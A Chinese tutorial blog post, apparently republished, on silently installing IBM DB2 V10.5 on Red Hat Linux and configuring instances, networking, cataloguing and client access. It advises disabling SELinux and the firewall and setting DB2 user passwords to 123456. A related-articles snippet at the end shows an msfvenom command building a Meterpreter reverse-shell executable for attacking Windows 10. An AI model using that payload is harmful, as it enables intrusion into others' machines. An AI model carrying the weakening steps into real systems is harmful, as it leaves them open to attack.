DB2在Linux下静默安装

news/2024/4/30 4:47:36/文章来源:https://blog.csdn.net/u010080562/article/details/127142463

目录

      • 前言
      • 1. 下载并上传db2压缩包到Linux
      • 2. 检测db2安装环境
      • 3. 安装db2数据库软件
      • 4. 配置db2数据库系统用户
      • 5. 创建数据库实例
      • 6. 配置TCP/IP通信服务
      • 7. 配置数据库
      • 8. 启动和关闭数据库实例
      • 9. 修改权限
      • 10 数据库客户端和工具链接
      • 11. 创建数据库多实例

前言

db2是IBM公司开发的一款重型数据库,和oracle数据库差不多,但就整体安装来看比Oracle安装要简单得多,本此安装db2的Linux环境是Redhat Enterprise Linux 8.6(没有安装图形化界面,所以全程安装都是敲命令,大多数程序员都喜欢的一种安装方式),db2的版本是V10.5(当前最新的版本是V11),下面就开始。

在这里插入图片描述

1. 下载并上传db2压缩包到Linux

db2下载地址
执行tar -zxvf v10.5_linuxx64_expc.tar.gz解压
在这里插入图片描述

IBM官网下载需要注册IBM账号,但是现在即使注册了,再点击下载链接时会重定向跳转,然后就没有然后了,进入不了下载页面,所以在这里提供db2下载(百度网盘保存的),将下载好的压缩包上传到Linux,我习惯上传到/usr/local/src目录下(上传的目录可以根据自己的喜好存放在哪里,这里没有特殊要求)

2. 检测db2安装环境

cd /usr/loca/src/expc目录下,执行 ./db2prereqcheck命令检查db2安装环境
在这里插入图片描述

(1)修复找不到libpam.so*yum install pam-devel.i686(2)修复libstdc++.so.5(我这里就不修复了,这个不修复对使用DB2没有影响)(3)禁用SELinuxvim /etc/selinux/config文件,修改SELinux=disabled(4)关闭防火墙服务并关闭随开机启动systemctl stop firewalld systemctl disable firewalld
做完以上操作最好执行下init 0(或是reboot)重启下Linux系统.	

3. 安装db2数据库软件

cd /usr/local/src/expc目录下执行 ./db2_install 安装数据库程序

在这里插入图片描述

输入yes,回车

在这里插入图片描述

最后出现如下图所示表示db2安装成功

在这里插入图片描述

4. 配置db2数据库系统用户

groupadd db2adm1
groupadd db2fen1
useradd -d /home/db2inst1 -m db2inst1 -g db2adm1
chown -R db2inst1   /home/db2inst1/
useradd -d /home/db2fenc1 -m db2fenc1 -g db2fen1 
chown -R db2fenc1   /home/db2fenc1/
passwd   db2inst1
passwd   db2fenc1
这里密码都设置成123456

在这里插入图片描述

5. 创建数据库实例

cd /opt/ibm/db2/V10.5/instance/
# 创建一个叫db2inst1的实例
./db2icrt -u db2fenc1 db2inst1
如下图所示表示数据库实例创建成功

在这里插入图片描述

6. 配置TCP/IP通信服务

在/etc/services中添加以下内容
echo 'db2c_db2inst1   50010/tcp'  >>  /etc/services
cat /etc/services
如下图所示即可

在这里插入图片描述

7. 配置数据库

(1)配置数据库管理
切换到db2inst1用户
su - db2inst1
db2start
执行下面两个命令
db2 update dbm cfg using SVCENAME db2c_db2inst1
db2set DB2COMM=TCPIP

在这里插入图片描述

(2)创建数据库和表
查看实例
db2 get instance
创建数据库
db2 create database jamy using codeset GBK territory cn pagesize 8192
查看创建的数据库
db2 list db directory
连接到数据库
db2 connect to jamy
查看当前数据库下的表空间
db2 list tablespaces
创建表
db2 "create table tb_user(name varchar(50),age int,address varchar(200))"
查看表
db2 list tables

创建数据库
在这里插入图片描述
查看表空间
在这里插入图片描述
创建表
在这里插入图片描述

(3)数据库编目(不做这一步处理,数据库客户端无法连接上)
进入数据库操作
查找节点目录
db2 list node directory
查看数据库目录
db2 list db directory
编目节点
db2 catalog TCPIP  node n_131 remote 192.168.227.189 server 50010
编目数据库(这一步可以不做)
db2 catalog db jamy as jamy at node n_131

在这里插入图片描述

注意: 如果要取消可以进入下操作
取消数据库编目
db2 uncatalog db test
取消节点编目
db2 uncatalog db n_131

8. 启动和关闭数据库实例

(1) 启动 
db2start(2) 关闭
db2 force application all
db2stop
或者是
db2stop force

9. 修改权限

以root用户依次修改每个实例的db2chpw、db2ckpw文件权限,如下操作,否则无法用客户端工具连接数据库,在 db2inst1/sqllib/security 目录下,检查 db2ckpw 和 db2chpw 文件的权限:
db2ckpw 的作用是用于检查 DB2 服务器上的用户标识和密码。由于 DB2 依赖于操作系统级别的认证,因此,当某个用户或应用程序连接到服务器上的数据库时,使用该进程验证用户标识和密码。当将 AUTHENTICATION 设置为 SERVER 时,或者当连接是从非安全的操作系统建立的时候,就会进行认证。验证权限需要检查 passwd 文件,ckpw 顾名思义就是 Check Password file 的含义,正因为如此,这个工具必须以 root 运行,需要远程连接时必须保证该权限
切换到root用户下:
su - root 
cd /home/db2inst1/sqllib/security/
ls -la 查看下,如果如图所示这样就不选要执行下面的命令,否则要执行下,不然会影响数据库客户端工具的连接
chown root db2chpw 
chown root db2ckpw 
chmod 4511 db2chpw 
chmod 4511 db2ckpw

在这里插入图片描述

10 数据库客户端和工具链接

这里我用的是Dbvisualizer工具,版本是12专业版
在这里插入图片描述

在这里插入图片描述
这里在点击连接之前最好重启下db2数据库

在这里插入图片描述
在这里插入图片描述
如图所示连接成功,tb_user就是我们刚才创建的表
在这里插入图片描述
在这里插入图片描述

11. 创建数据库多实例

其实在数据库服务器硬件比较好的情况完全可以在一台服务器上创建多个数据库实例,这样可以把服务器资源最大化利用起来,创建多实例其实就是在刚才的基础上把第4步到第十步在做一遍,具体操作如下,我就不做具体说明了:

#创建jamysong用户
useradd -d /home/jamysong -m jamysong -g db2adm1      
chown -R jamysong   /home/jamysong/
passwd  jamysong        #给jamyson用户设置密码#创建数据库实例jamysong,实例名要与创建的用户名一致
cd /opt/ibm/db2/V10.5/instance/     
./db2icrt -u db2fenc1 jamysong#配置TCP/IP通信服务      
echo 'db2c_jamysong   50020/tcp'  >>  /etc/services
cat /etc/services#配置数据库
su - jamysong
db2start
db2 update dbm cfg using SVCENAME db2c_jamysong
db2set DB2COMM=TCPIP#创建数据库(这里的数据库名可以自定义,不用非要和我这里的一样)
db2 get instance
db2 create database jamy using codeset GBK territory cn pagesize 8192
db2 list db directory
db2 connect to jamy
db2 list tablespaces#创建表(这里的表名可以自定义,不用非要和我这里的一样)
db2 "create table tb_user(name varchar(50),age int,address varchar(200))"
db2 list tables数据库编目(不做这一步处理,数据库客户端无法连接上)
db2 list node directory
db2 catalog TCPIP  node n_131 remote 192.168.227.189 server 50020
db2 catalog db jamy as jamy at node n_131
db2 list node directory#重启数据库
db2stop force
db2start

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17649.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】AVL树模拟实现

文章目录AVLTree概念AVLTree插入实现AVLTree测试AVLTree的性能AVLTree概念 AVLTree(搜索平衡二叉树) 性质一:每一个节点的左右子树都是AVLTree 性质二:每个节点左右子树高度只差不超过1 优点:提高查找效率&#xff0c…

python容器

1.什么是数据容器: 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一:列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的(索引)允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

😍😍😍更多精彩福利😍😍😍 三维重建经典算法 1. ICP 迭代最近点算法(Iterative Closest Point, ICP)是一种点云配准算法,用来求解两堆点云之间的变换关系:…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列(一)mysql体系结构和存储引擎MySQL怎么运行的系列(二)Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列(三)InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动,扫描得到所有BeanDefinition之后,就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里: org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路,需要外接上拉电阻,而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步,一定是找方向,SaaS产品的北极星指标处于商业目标,用户价值,和战略选择的交点上,且一般落实在功能使用量上。与To C产品的AARRR略有不同,To B SaaS产品驱动增长包含六大杠杆,…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界],获取我的更多笔记分享 大家好,我是极智视界,本文解读一下 Label, Verify, Correct (LVC):一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD),即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com,其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复,翻译成中文csdn说辱华,不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示,平台节点不安装天线,12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果,在浏览器的书签栏增加一个库存监控提醒的按钮,点击该按钮即启动库存监控提醒项目。 项目运行时,自动打开指定的网址,并从事先准备好的txt文件中读取型号,输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性;一起来学习摘自百度词条的信息: 图形用户界面(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化:CommonJS规范》文中对CMD规范进行了介绍,并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲,CommonJS这种模块化规范更加适用于服务器端编程,由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来,神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功,而MIL作为一种典型的弱监督学习方法&#…